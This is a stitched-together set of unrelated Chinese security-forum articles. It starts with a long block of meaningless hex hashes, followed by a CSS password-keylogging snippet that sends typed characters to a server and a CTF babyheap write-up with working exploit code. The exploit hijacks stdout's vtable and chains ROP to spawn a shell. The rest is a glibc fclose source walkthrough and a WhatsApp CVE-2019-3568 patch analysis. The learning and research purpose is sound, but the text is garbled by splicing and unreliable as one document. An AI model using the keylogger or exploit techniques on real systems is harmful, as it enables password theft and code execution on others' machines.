eb607863d2e6a56a53893d4c6253896f3e7ab229a75ad29b32762f27bbd398e5
642be174b9ad9d14b4079472d0a641b9c73f6eb3d8a40152025d438619e22ad5
bd800b6cc3ea900aa111c88adcffca2b31f8c47e00928df985d62bf4cc0daf2d
6858491a04ba906f912d0baf86b37e8ef42c63c505e0db3ffffdf5b543e0c829
2518d9deb54ed0fa373b0b22a16da5b7a8f02502470987aeeba34398e083c15c
f0dabdc7f4364e810e1870afccfd6af14f844f494cd9026879dc2b3becdba8a7
5e4f663d867ab14c7a2ad6e5f35aa315e34ea0e01c50dbb8d63667c405437e1c
389393e8642e61e8f884ae288be53b71aa9ff5846c5760d013e57c6843e14440
2dfa3d51b031976f8418d8f7d05f8fa803b937cfc6711f9d4ffeca45ca3db0a5
b4dd995909b8f99d2b519d347c27386b0bfa434332eb7b0c7483a10f0d1d864c
f260bb6965405aac4a79de75650f184911185c34e27cc43d27c88efca86ab712
bf170d05c2ae2738ae298b851390eca2bed6fb6db729e3150d3809179c02bec7
e191bc75a21a613232cf5cff2f4874106f3cd64f867b5096b193a7fcf9dc74c4
88b1fc39c3e89e790fa7fdba78516ac52b489209e9fb38c39aac416f53fdde90
64647593a8cdfba26a39441cdf49216fbb687652f490cbed230ebc2061aa6b17
027c3f91df5b5f413c4ce117d4e1a4eb33c050a4be96a0385e8a4cc1c445c027
ee996791fcabcc88d1bc082060a9989fdb1b7079c2e66583002443ac43da87ec
a97e2e39a29ebd7ace2895621a6cf2f4a53990d55752816957034b916a149a31
c170ee01c009f4d1a960f6dca3edd2d96fd4e31fad29b7bac248314947d09d1d
b0d4b92653518def16f6b08739cf47ba463a6a18f6c7c85ace7be9d6f4145084
7cffccf41385f1c82c5383a68d79999a1ff506b403cbb00879351bb247a09371
59746db01df4c33edebf4b4b6cfb44d297cde45f23ec6678ef0f2ca15b40d6e9
b2a940600d50d862f539eead80d636b556d32aabc462156fe8b29d44c3337ab8
8e839d560f08ae14d5ca457ace9735419e8d5e06f8c30febb48d2997145ff1b6
5bbecc8c2eaea918ce06e37fa8fda338861662d682cfa43e26ebca6c1075114d
d186eaaf72c80289e755ab20a604e4ff20dc98349dfb56206848a4ec79d9388f
cc978d00329bbb2c2bf60055d5762dd7b407f44b8df2a31f0d1e54a0958271d8
d507332483bb124158b2b02bf0f3d7b07977bf7fa1c34df5a1b001979a2e2a66
65d34b945cccd91ce48eb77458768aba34be86be9372f36162e6d42198416775
bce3428913c048d7f8114d07fffacecb7273d65a41e0c7b8bff3f63abb1913b1
a801e38fb832b7f4f9713fb4fbb35f4c5de156c5787718d7fdbe636499e99cf0
048e3bc98ae1d8ac57eb5e55c5b2cbc6661a77992650a10e35a5d0fbbc1227cf
cbb5b11f0e934e8e13c1590c5868dce72f1a364ab32e7ba408f2ad9fa8d5145b
d1259c1461d71e238ac9984baf96b94c2c145a820ea44d487b6f2fc4e196ef70
09ead1fcde087a14da07d58b8db8bed1b18e08701ee4ee300d2af3dbe1a6bd55
a36e780153fb6c26e28ab5cb4c51ebfeb6dd1e04ec6f4489d9ea67c710015b74
71567ed7c3c0b14a09b5cbd712fcdc777a6bb5d0685c24cccc82e1d1ac3d5d3f
319246f91aff8b444037474ce845cc51785b160a2b650a54cfbe402621598de5
c14c22ddb3d492ef6b40afb3918a97a4b9a8def4dfb6dc944bcdb476e347f1a5
790654bcb118cf14a6ffcb82a73d18620ab1a993f570d6186f3a1571b6d2b2e8
04ae5d0126670a8a1eab95373e39db662c921ee468ea7d842d9f894e3d1270c6
f7cb9474374badcc8881bd5c48ff9d0ac3149de053d93abc9a1cad45c319ad04
bb58e7eb3aa7f212c4d8a4bab1dbd086b8d5621441f50b774d6550b811978897
2202684f0ff5b627baa8473f2068ee3b1d976d7d860f9c188a9178253d356cb3
d130b94a85a8ded1f52469b68977f601617bd536df34c279d37674b03119eb9c
359f8c5ced61249c52655de6ff263c76878c15be12577a920d667f4dcf52e033
b51a6a66778db92878578f3e45cba90fcdb64ca8ece738053b399430bde9e94c
0da9e58ce9b435726f691e869e3efa8f331a8fc2c877c0cee48430837685ec0e
f2176c17ee41cb242db184db275d782293e1a71b7d19fd160d56872b17c75096
c9bfea7a58aa8a3b60198832d891622da61d48ace0d97d42aa5616c76382 | 社区文章 |
类似JQuery的事件监听器
通过监听输入类型为password的输入框，判断捕捉键入的字母，加载对应的背景图，实现远程键盘记录。
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
项目地址：<https://github.com/maxchehab/CSS-Keylogging> | 社区文章 |
# 前言
本文以 `0x00 CTF 2017` 的 `babyheap` 为例介绍下通过修改 `vtable` 进行 `rop` 的操作 (:-_-
相关文件位于
https://gitee.com/hac425/blog_data/tree/master/0x00ctf
# 漏洞分析
首先查看一下程序开启的安全措施
18:07 haclh@ubuntu:0x00ctf $ checksec ./babyheap
[*] '/home/haclh/workplace/0x00ctf/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
没开 `PIE` 。
接下来看看程序
对程序功能做个介绍
* 程序一开始需要用户往 `bss` 段的 `name` 缓冲区输入内容
* `add` 函数: 增加一个 `user`, 其实就是根据需要的大小使用 `malloc` 分配内存， 然后读入 `username`.
* `edit` 函数: 根据输入的 `index` ， 取出指针， 往里面写入内容。 **`index` 没有校验**。
* `ban` 函数: `free` 掉一个 `user`.
* `changename` 函数: 修改 `bss` 段的 `name`
* 输入为 `5` 时， 会打印 `read` 函数的地址， 这样就可以拿到 `libc` 的基地址了。
来看看 `edit` 函数
直接使用我们输入的数字作为数组索引，在 `users` 数组中取到 `obj` 指针，然后使用 `strlen` 获取输入的长度，最后调用 `read` 往
`obj` 里面写内容。
如果我们输入的数字大于 `users` 数组的长度就可以读取 `users` 数组 外面的数据作为 `read` 读取数据的指针了。
下面来看看 `bss` 段的布局
我们可以看到 `users` 后面就是 `name` 缓冲区， `name` 的内容我们可控， 于是利用 `edit` 函数里面的 **越界读**
漏洞，我们就可以伪造 `obj` 指针， 然后在 通过 `read` 读取数据时 就可以往 `obj` 指针处写东西， **任意地址写**
# 漏洞利用
## 控制rip
整理一下现在拥有的能力。
* 通过 **选项5** 可以 `leak` 出 `libc` 的地址
* 通过 `edit` 和 `changename` 可以实现任意地址写
题目给的 `libc` 是 `2.23`，没有虚表保护，于是选择改 `stdout` 的虚表指针，这样我们就可以伪造 `stdout`
的虚表，然后在调用虚表的时候，就可以控制 `rip` 了。
我们知道 `stdout` 是 `_IO_FILE_plus` 类型，大小为 `0xe0` ， 最后 `8` 个字节是 `vtable` （即
`stdout+0xd8` 处）， 类型是`struct _IO_jump_t` 。
pwndbg> p/x sizeof(struct _IO_FILE_plus )
$8 = 0xe0
pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$9 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
pwndbg> p/x sizeof(struct _IO_jump_t )
$10 = 0xa8
pwndbg>
我们不能 `leak` 堆的地址，伪造虚表只能在 `name` 缓冲区内伪造，`name` 缓冲区的大小为 `0x28` , 而 虚表（`struct
_IO_jump_t`）的大小 为 `0xa8` ， 所以是不能伪造整个虚表的， 不过我们只需要把虚表中接下来会被调用的项的指针改了就行了
。有点绕，直接调试看。
首先使用选项5的函数， `leak` 出 `libc` 的基地址
# 首先利用 gift 泄露 libc
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8 # IO_2_1_stdout->vtable 的地址
然后我们在 `name` 缓冲区内布置好内容，让 越界读 使用
# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
数据布置好了以后，利用 `edit` 里面的越界读漏洞，进行任意地址写， 修改 `IO_2_1_stdout->vtable` 为 `name`
缓冲区的地址
bss_name = 0x6020A0 # bss name 缓冲区的地址
# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 缓冲区开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name) # 修改 vtable 的值， 把 vtable 改成 bss_name
p.sendafter("new username: ", payload[:6]) # 修改的数据， 把虚表改到 bss .
使用 `ida` 可以看到 `users` 数组的起始地址为 `0x0602040` , `name` 缓冲区的地址 为 `0x006020a0`。 所以
(0x006020a0-0x00602040)/8 = 12
这样一来就会把 `name` 缓冲区开始 的 `8` 个字节作为 `user` 指针对其进行内容修改。而在之前我们已经布局好 `name` ，使得
`name` 缓冲区开始 的 `8` 个字节 为 `IO_2_1_stdout->vtable` 的地址，这样在后面设置 `new username` 时
就可以修改 `IO_2_1_stdout->vtable` 了。
然后输入 `new username` 为 `p64(bss_name)` 前 `6` 字节 ， 就可以修改 `IO_2_1_stdout->vtable`
为 `name` 缓冲区的地址。
> 只发送前 6 个字节的原因是
>
>
> len = strlen(obj);
>
> 长度是用 `strlen` 获取的， `IO_2_1_stdout->vtable` 原来的值是 `libc` 的地址开始的 `6` 个字节是非
> `\x00`， 所以 `strlen` 会返回 `6`。
接下来使用到 `stdout` 时，就会用到伪造的 虚表 （`name` 缓冲区）
调试看看， 会发现 `crash` 了
这里没有破坏栈的数据，所以栈回溯应该是正确的，所以看看栈回溯
可以看到 `call [$rax + 0x38]` ， 然后 `$rax` 是 `name` 缓冲区的地址
所以现在 $rax 的值我们可控， 只需要使得 rax + 0x38 也可控即可
$rax = bss_name - 0x18
$rax + 0x38 ---> bss_name + 0x20
这样一来就可以控制 `rip` 了。
## getshell
### 思路分析
可以控制 `rip` 后， 同时还有 `libc` 的地址 `one_gadget` 可以试一试，不过这东西看运气，在这个题就不能用。这里我们使用
`rop` 来搞。
要进行 `rop` 首先得控制栈的数据，现在 `rax` 是我们可控的，一般的思路就是利用 `xchg rax,rsp` 之类的 `gadget`
来迁移栈到我们可控的地方，这里采取另外一种方式， **利用`libc` 的代码片段 ，直接往栈里面写数据, 布置 rop 链**。
首先来分析下要用到的 `gadget`
位于 `authnone_create-0x35` 处
.text:000000000012B82B mov rdi, rsp ; gadget start
.text:000000000012B82E call qword ptr [rax+20h]
.text:000000000012B831 mov cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A
.text:000000000012B845 mov rdi, rsp
.text:000000000012B848 call rax
.text:000000000012B84A
.text:000000000012B84A loc_12B84A: ; CODE XREF: sub_12B7A0+A3↑j
.text:000000000012B84A add rsp, 30h
.text:000000000012B84E pop rbx
.text:000000000012B84F retn
可以看到 首先
rdi = rsp
call qword ptr [rax+20h]
这样只要然后 `rax+0x20` 为 `gets` 函数的地址，就可以往 栈里面写数据了。
> 开始以为 gets 函数会读到 \x00 终止，后来发现不是, 函数定义
>
>
> gets 函数从流中读取字符串，直到出现换行符或读到EOF为止，最后加上NULL作为字符串结束
>
> `EOF` 貌似是 `-1` ，所以我们可以读入 `\x00` ，而且输入数据的长度还是我们可控的 （通过控制 `\n` ）
此时已经可以覆盖返回地址了，下面就是让 上面的代码块 执行完 gets 后进入 loc_12B84A ， 分支。
执行完 `call qword ptr [rax+20h]` 后，会从 `esp+8` 处取出 `8` 字节放到 `rax` ，然后判断
`rax+0x38` 处存放的值是不是 `0` ， 如果为 `0`, 就可以进入 `loc_12B84A` 进行 `rop` 了 .
.text:000000000012B831 mov cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A
### exp分析
整理一下，分析分析最终的 `exp`
首先 `leak` 处 `libc` 的地址，获取到后面需要的一些 `gadget` 的地址
然后往 `name` 缓冲区布置数据
# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += p64(libc.symbols['gets']) # rip for call qword ptr [rax+20h]
payload += "b" * 0x10 # padding
payload += p64(gadget) # mov rdi, rsp ; gadget start 的地址
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
然后往触发漏洞，修改 `_IO_2_1_stdout_->vtable` 为 `bss_name - 0x18`
# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name - 0x18) # padding for let
p.sendafter("new username: ", payload[:6]) # 修改的数据， 把虚表改到 bss .
info("_IO_2_1_stdout_->vtable({})---> bss_name".format(hex(stdout_vtable_addr)))
# gdb.attach(p)
pause()
这就使得 接下来 `call [eax + 0x38]` 会变成 `call [name+0x20]` ， 也就是 进入 `gadget` 。
会调用 `call qword ptr [rax+20h]` ，其实就是 `call [name+0x8]` ， 之前已经设置为 `gets`
函数的地址，所以会调用 `gets`
pop_rdi_ret = 0x0000000000400f13
# zero addr
zero_addr = 0x6020c8 # 该位置的值为 p64(0)
info("zero_addr: " + hex(zero_addr))
payload = 'a' * 8
payload += p64(zero_addr - 0x38)
payload += cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(libc.symbols['system'])
p.sendline(payload)
然后通过 `gets` 往栈里面布置数据， 把 `rsp+8` 设置为 `zero_addr` （该位置的值为 `p64(0)`），然后 `rop` 调用
`system("sh")` 即可
# 总结
`authnone_create-0x35` 处的这个 `gadget` 还是比较有趣的，以后能控制 `rax` 处的内容
时可以选择用这种方式（比较稳定）, 比如可以修改 虚表指针时。
**参考**
<https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/pwn/babyheap-200> | 社区文章 |
这是本系列的第四篇文章，经过`fwrite`以及`fread`的分析，在进行fclose调试之前，已经知道IO FILE结构体包括两个堆结构，一个是保存IO
FILE结构体的堆，一个是输入输出缓冲区的堆。对于fclose的分析，主要有两个关注点，一个是函数的流程，一个就是对于堆块的处理（何时释放，如何释放）。
传送门：
* [IO FILE之fopen详解](https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis)
* [IO FILE之fread详解](https://ray-cp.github.io/archivers/IO_FILE_fread_analysis)
* [IO FILE之fwrite详解](https://ray-cp.github.io/archivers/IO_FILE_fwrite_analysis)
## 总体概览
还是首先把fclose的总体的流程描述一遍，从fopen的流程中，我们知道了fopen主要是建立了FILE结构体以及将其链接进入了`_IO_list_all`链表中，同时fread或fwrite会建立输入输出缓冲区，所以在fclose时会对这些操作进行相应的释放。
`fclose`函数实现主要是在`_IO_new_fclose`函数中，大致可分为三步，基本上可以与`fopen`相对应：
1. 调用`_IO_un_link`将文件结构体从`_IO_list_all`链表中取下。
2. 调用`_IO_file_close_it`关闭文件并释放缓冲区。
3. 释放FILE内存以及确认文件关闭。
下面进行具体的源码分析。
## 源码分析
fclose的函数原型为：
int close(int fd);
DESCRIPTION: close() closes a file descriptor, so that it no longer refers to any file and may be reused. Any record locks (see fcntl(2)) held on the file it was associated with, and owned by the process, are removed (regardless of the file descriptor that was used to obtain the lock).
demo程序如下,仍然是使用带调试符号的glibc2.23对代码进行调试：
#include<stdio.h>
int main(){
char *data=malloc(0x1000);
FILE*fp=fopen("test","wb");
fwrite(data,1,0x60,fp);
fclose(fp);
return 0;
}
断点下在fclose函数。断下来以后以后，在调试之前将所需关注的内存结构先给出来，首先是此时的`_IO_list_all`的值为此时的IO FILE结构体：
第二个是IO
FILE结构体的值，其中需要留意的是经过`fwrite`的函数调用，此时输出缓冲区中是存在内容的，即`_IO_write_base`小于`_IO_write_ptr`：
可以看到程序断在`_IO_new_fclose`函数，文件在`/libio/iofclose.c`中。可以看到`_IO_new_fclose`函数就是实现`fclose`的核心部分了：
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
...
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);//将fp从_IO_list_all链表中取下
...
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp); //关闭文件，并释放缓冲区。
...
_IO_FINISH (fp); //确认FILE结构体从链表中删除以及缓冲区被释放
...
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
和fopen一样，代码的核心部分也比较少。
### _IO_un_link将结构体从_IO_list_all链表中取下
第一部分，调用`_IO_un_link`函数将IO
FILE结构体从`_IO_list_all`链表中取下，跟进去该函数，函数在`/libio/genops.c`中：
void
_IO_un_link (struct _IO_FILE_plus *fp)
{
if (fp->file._flags & _IO_LINKED) // 检查标志位
{
...
if (_IO_list_all == NULL) // 判断_IO_list_all是否为空
;
else if (fp == _IO_list_all) // fp为链表的头
{
_IO_list_all = (struct _IO_FILE_plus *) _IO_list_all->file._chain;
++_IO_list_all_stamp;
}
else // fp为链表中间节点
for (f = &_IO_list_all->file._chain; *f; f = &(*f)->_chain)
if (*f == (_IO_FILE *) fp)
{
*f = fp->file._chain;
++_IO_list_all_stamp;
break;
}
fp->file._flags &= ~_IO_LINKED; //修改标志位
...
}
}
libc_hidden_def (_IO_un_link)
函数先检查标志位是否包含`_IO_LINKED`标志，该标志的定义是`#define _IO_LINKED
0x80`，表示该结构体是否被链接到了`_IO_list_all`链表中。
如果没有`_IO_LINKED`标志（不在`_IO_list_all`链表中）或者`_IO_list_all`链表为空，则直接返回。
否则的话即表示结构体为`_IO_list_all`链表中某个节点，所要做的就是将这个节点取下来，接下来就是单链表的删除节点的操作，首先判断是不是`_IO_list_all`链表头，如果是的话直接将`_IO_list_all`指向`_IO_list_all->file._chain`就好了，如果不是链表头则遍历链表，找到该结构体，再将其取下。
最后返回之前设置`file._flags`为`~_IO_LINKED`表示该结构体不在`_IO_list_all`链表中。
经过了这个函数，此时IO FILE已从`_IO_list_all`链表取下，此时的`_IO_list_all`中的值为：
### _IO_file_close_it关闭文件并释放缓冲区
第二部分就是调用`_IO_file_close_it`关闭文件，释放缓冲区，并清空缓冲区指针。跟进去该函数，文件在`/libio/fileops.c`中：
int
_IO_new_file_close_it (_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp); //刷新输出缓冲区
...
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0); //调用vtable __close关闭文件
...
//释放输入输出缓冲区以及设置指针。
/* Free buffer. */
_IO_setb (fp, NULL, NULL, 0); //设置base指针，并释放缓冲区
_IO_setg (fp, NULL, NULL, NULL); //置零输入缓冲区
_IO_setp (fp, NULL, NULL); //置零输出缓冲区
//确保结构体已从_IO_list_all中取下
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1; //设置文件描述符为-1
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
libc_hidden_ver (_IO_new_file_close_it, _IO_file_close_it)
这个函数也做了很多事情，首先是调用`_IO_file_is_open`宏检查该文件是否处于打开的状态，宏的定义为`#define
_IO_file_is_open(__fp) ((__fp)->_fileno != -1)`，只是简单的判断`_fileno`。
接着判断是不是输出缓冲区，如果是的话，则调用`_IO_do_flush`刷新此时的输出缓冲区，`_IO_do_flush`也是一个宏定义：
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
# define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
可以看到它对应的是调用`_IO_do_write`函数去输出此时的输出缓冲区，`_IO_do_write`函数已经在`fwrite`这篇文章中跟过了，主要的作用就是调用系统调用输出缓冲区，并刷新输出缓冲区的值。经过`_IO_do_write`函数，缓冲区中的内容已被输出到相应文件中，并且此时的指针已经刷新：
回到`_IO_new_file_close_it`函数中，可以看到在调用了`_IO_do_flush`后，代码调用了`_IO_SYSCLOSE`函数，该函数是vtable中的`__close`函数，跟进去该函数，在`libio/fileops.c`中：
int
_IO_file_close (_IO_FILE *fp)
{
/* Cancelling close should be avoided if possible since it leaves an
unrecoverable state behind. */
return close_not_cancel (fp->_fileno);
}
libc_hidden_def (_IO_file_close)
`close_not_cancel`的定义为`#define close_not_cancel(fd) \ __close
(fd)`该函数直接调用了系统调用`close`关闭文件描述符。
在调用了`_IO_SYSCLOSE`函数关闭文件描述符后，`_IO_new_file_close_it`函数开始释放输入输出缓冲区并置零输入输出缓冲区。一口气调用了`_IO_setb`、`_IO_setg`、`_IO_setp`三个函数，这三个函数在缓冲区建立的时候都看过了，`_IO_setb`是设置结构体的buf指针，`_IO_setg`是设置read相关的指针，`_IO_setp`是设置write相关的指针，在这里还需要重新看下`_IO_setb`函数，因为在这个函数里还释放了缓冲区，函数在`libio/genops.c`中：
void
_IO_setb (_IO_FILE *f, char *b, char *eb, int a)
{
if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
free (f->_IO_buf_base); //释放缓冲区
f->_IO_buf_base = b;
f->_IO_buf_end = eb;
if (a)
f->_flags &= ~_IO_USER_BUF;
else
f->_flags |= _IO_USER_BUF;
}
libc_hidden_def (_IO_setb)
可以看到在`_IO_setb`释放的缓冲区，并置零了buf指针。找到了释放缓冲区的地方了，之前看fread和fwrite的时候都没注意到这里。执行完这一段之后，指针被清零了：
继续往下看，其调用了`_IO_un_link`函数，确保结构体从`_IO_list_all`链表中取了下来。然后将文件描述符设置为`-1`。
### 释放FILE内存以及确认文件关闭
结束`_IO_file_close_it`函数后，程序回到`_IO_new_fclose`中，开始第三部分代码，调用`_IO_FINISH`进行最后的确认，跟进去该函数，该函数是vtable中的`__finish`函数，在`/libio/fileops.c`中：
void
_IO_new_file_finish (_IO_FILE *fp, int dummy)
{
if (_IO_file_is_open (fp))
{
_IO_do_flush (fp);
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE (fp);
}
_IO_default_finish (fp, 0);
}
libc_hidden_ver (_IO_new_file_finish, _IO_file_finish)
可以看到代码首先检查了文件描述符是否打开，在第二步中已经将其设置为-1，所以不会进入该流程。如果文件打开的话则会调用`_IO_do_flush`和`_IO_SYSCLOSE`刷新缓冲区以及关闭文件。
接着调用`_IO_default_finish`确认缓冲区确实被释放，以及结构体从`_IO_list_all`中取了下来，并设置指针，函数源码在`libio/genops.c`中：
void
_IO_default_finish (_IO_FILE *fp, int dummy)
{
struct _IO_marker *mark;
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
{
free (fp->_IO_buf_base);
fp->_IO_buf_base = fp->_IO_buf_end = NULL;
}
for (mark = fp->_markers; mark != NULL; mark = mark->_next)
mark->_sbuf = NULL;
if (fp->_IO_save_base)
{
free (fp->_IO_save_base);
fp->_IO_save_base = NULL;
}
_IO_un_link ((struct _IO_FILE_plus *) fp);
}
libc_hidden_def (_IO_default_finish)
感觉`_IO_FINISH`函数并没有做什么操作，都是之前已经进行过的，有些冗余。
程序回到`_IO_new_fclose`中，到此时已经将结构体从链表中删除，刷新了缓冲区，释放了缓冲区内存，只剩下结构体内存尚未释放，因此代码也剩下最后一段代码，即调用`free`释放结构体内存。
到此，源码分析结束。
## 小结
分析完成后，回头看fclose函数的功能，主要就是刷新输出缓冲区并释放缓冲区内存、释放结构体内存。仍然总结下调用了vtable中的函数：
* 在清空缓冲区的`_IO_do_write`函数中会调用vtable中的函数。
* 关闭文件描述符`_IO_SYSCLOSE`函数为vtable中的`__close`函数。
* `_IO_FINISH`函数为vtable中的`__finish`函数。
fclose函数分析完成后，对于IO
FILE源码分析的主体部分就完成了，后续会进入利用的部分。主要包括通过虚表的劫持来控制程序流、vtable的检查以及绕过、通过结构体的指针实现内存读写等技巧。 | 社区文章 |
# WhatsApp缓冲区溢出漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 zimperium，文章来源：blog.zimperium.com
原文地址：<https://blog.zimperium.com/whatsapp-buffer-overflow-vulnerability-under-the-scope/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
5月13日，Facebook公布了WhatsApp中存在的一个漏洞，最近Zimperium发表了关于该漏洞的一篇分析文章。据了解已经有攻击者在实际环境中利用该漏洞，对应的编号为CVE-2019-3568。Zimperium的上一篇[文章](https://blog.zimperium.com/whatsapp-buffer-overflow-vulnerability-reportedly-exploited-wild/)提供了关于该漏洞的一些信息，比如该漏洞影响的WhatsApp产品、可能的利用方式以及Zimperium对该风险的缓解措施。
本文以zLabs的后续研究结果为基础，将与大家分享更多漏洞细节，演示攻击者如何利用WhatsApp上RCE（远程代码执行）漏洞。
## 0x01 背景
在漏洞报告及更新补丁中，Facebook[披露](https://www.facebook.com/security/advisories/cve-2019-3568)该漏洞为远程代码执行漏洞（RCE），影响iOS及Android版的WhatsApp客户端。公告中并没有提及目标平台，并且补丁已推送到所有版本，Android及iOS版更新如下图所示：
由于该漏洞技术细节并没有公开，为了保持一致，本文也将从学习角度出发来分析该漏洞。我会有选择地分析更新补丁中的若干个点。
我将尝试梳理该漏洞的一些信息，包括漏洞整体情况、漏洞特征、逻辑，更为重要的是该RCE漏洞对运行在iOS设备上WhatsApp的潜在影响，以及攻击者对该漏洞可能的利用方式。
需要注意的是，本文的分析仍然较为初步，为了充分理解该漏洞，我们还需进一步分析补丁其他方面信息。
## 0x02 补丁分析
由于两个平台上都修复了这个漏洞，并且iOS平台上关于应用分析及逆向工程方面的参考资料较少，因此这里我选择iOS版应用作为目标，希望大家能通过该过程掌握一些经验。
我们的目标是iOS版的WhatsApp客户端。如果大家想一步步跟进，请下载2.19.50版（未打补丁）及2.19.51版（已打补丁）应用。通过diff分析这两个版本（使用IDA、BinDiff或者Ghidra），我们可以看到程序在数据包处理函数方面有所变化，其中两个函数较为重要（`0x100c236b4`以及`0x100c25b78`）。这里我们将逐个分析这两个函数。
### 0x100c236b4
首先我们来分析`0x0100C236B4`处的函数（`processBrustPackets`）。该函数似乎负责处理WhatsApp
VoIP协议栈中的[STUN](https://www.iana.org/assignments/stun-parameters/stun-parameters.xhtml)及其他突发（burst）数据包。被修复版应用剔除的主要函数片段如下所示：
在716行，代码会检查`packetSize`及`_Asize`这两个size值，而调用方可以控制这些值。
如果`packetSize`大于`0x7A120`，就会导致整数下溢（underflow），使如下代码段被忽略：
然后导致程序执行调用方可控的两个`memcpy`（如下图红框标记处）：
在更新版中已删除了这个代码执行段：
打补丁前后相关函数的BinDiff调用图如下所示：
### 0x100c25b78
接下来我们分析`0x0100C25B78`处的另一个函数（`handle_incoming_traffic`），被patch前的部分代码如下所示：
在第60行，代码会使用调用方提供的参数来调用`memcpy`，其中并没有检查size，这样可能导致缓冲区溢出漏洞。
patch后的版本中引入了size检查，确保size小于等于`0x5c8`：
另外前面我们分析的那个函数中也添加了size检查，如下图所示：
总结一下，通过二进制diff分析，我们发现官方在这两个函数引入了size检查，修复了可能被利用的内存溢出漏洞。
有趣的是，这两个函数在WhatsApp应用内部的通信过程中都发挥着重要作用，相关调用图如下所示：
此时，我们知道更新版应用中删除了潜在的缓冲区溢出及整数下溢漏洞，这些漏洞可能用于WhatsApp应用中受调用方控制的远程代码执行场景。接下来，我们需要确认攻击者使用的语音呼叫功能中的确涉及到这些函数。
## 0x03 环境准备
为了验证语音呼叫过程中是否会调用该函数，我们可以在已越狱的设备上，通过Xcode连接存在漏洞的WhatsApp应用：
在函数地址上设置断点，或者使用Jonatan
Levin的[Jtool2](http://newosxbook.com/forum/viewtopic.php?f=3&t=19577)工具为xCode创建断点命令：
效果如下：
现在向测试账户发起语音呼叫，与预想的一致，断点会被触发：
在进一步动态分析前，我们可以稍微总结一下，梳理此时我们掌握的信息。
## 0x04 初步小结
到目前为止，网上还没有关于完整利用payload的公开信息，也没有关于漏洞利用的技术分析，这是不是有点奇怪呢？
在得出结论之前，有一些事实可供我们参考：
1、Citizen
Lab与[金融时报](https://www.ft.com/technology)一起[报道](https://twitter.com/citizenlab/status/1128077054203842566)了相关漏洞信息；
2、WhatsApp在iOS客户端中至少修复了一处（可能多处）潜在的内存破坏漏洞；
3、这些补丁至少涉及到与语音呼叫功能有关的两个函数；
4、无需用户交互即可触发断点；
5、[Google Project
Zero](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/view)认为攻击者可能在实际环境中利用这种方式实现远程代码执行；
6、漏洞公布后iOS操作系统并没有更新补丁。
现在可能还没出现实际攻击活动，人们可能出于某些原因（比如想吸引眼球）才提到这个漏洞。这也能解释为什么现在没有公开payload以及技术分析文章。
另外，根据前文分析，如果攻击的确已经发生，那么可以推测攻击者需要为WhatsApp客户端应用创建一个复杂payload，无需用户交互就能在WhatsApp内部触发远程代码执行功能。
大家可能会思考攻击者会如何利用WhatsApp的RCE漏洞。当然，WhatsApp具备麦克风、摄像头、地址位置以及照片的访问权限，使其成为攻击个人隐私的绝佳目标。然而，访问这些内容需要涉及到各种环节，比如需要在新设备上绕过PAC、Stack-Checks以及iOS引入的其他缓解机制。此外，攻击者还需要在设备重启后维持驻留状态。这种攻击操作可能非常复杂，可能会降低电池寿命、异常重启、让用户收到来自未知号码的语音呼叫等。
